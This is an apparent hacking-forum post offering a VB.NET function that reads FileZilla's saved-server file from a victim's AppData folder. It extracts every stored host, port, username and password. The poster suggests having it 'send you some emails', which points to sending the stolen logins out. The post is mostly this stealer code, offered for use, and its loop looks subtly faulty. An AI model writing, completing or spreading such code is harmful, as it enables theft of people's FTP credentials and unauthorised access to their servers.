Feb 1, 2012 02:40 AM
(This post was last modified: Feb 1, 2012 02:43 AM by SnipeYa25.)
Well Ive seen a few about and i thought they were messy or overly complicated, Soo i thought i would let "yall" take a look at mine.
Function:
Then simply use "MsgBox(ReadFileZilla)" to see the output or get it to perhaps send you some emails 😝
Function:
Code
Function ReadFileZilla()
Dim XMLDOC As New System.Xml.XmlDocument
XMLDOC.Load(Environ("AppData") & "\FileZilla\recentservers.xml")
Dim XMLPath As Xml.XmlElement
XMLPath = XMLDOC.SelectSingleNode("//Server")
Dim Servers As Integer
Servers = XMLDOC.GetElementsByTagName("Server").Count
Dim i As Integer = 0
Dim Output As String = ""
Do Until i = Servers
i += 1
Output += _
"Server: " & i & Environment.NewLine & _
" Host: " & XMLPath.Item("Host").InnerText & Environment.NewLine & _
" Port: " & XMLPath.Item("Port").InnerText & Environment.NewLine & _
" User: " & XMLPath.Item("User").InnerText & Environment.NewLine & _
" Pass: " & XMLPath.Item("Pass").InnerText & Environment.NewLine & Environment.NewLine
If i < Servers Then XMLPath = XMLDOC.SelectSingleNode("//Server").NextSibling
Loop
Return Output
End FunctionThen simply use "MsgBox(ReadFileZilla)" to see the output or get it to perhaps send you some emails 😝




![[Image: cWKoYK1.gif]](https://i.imgur.com/cWKoYK1.gif)
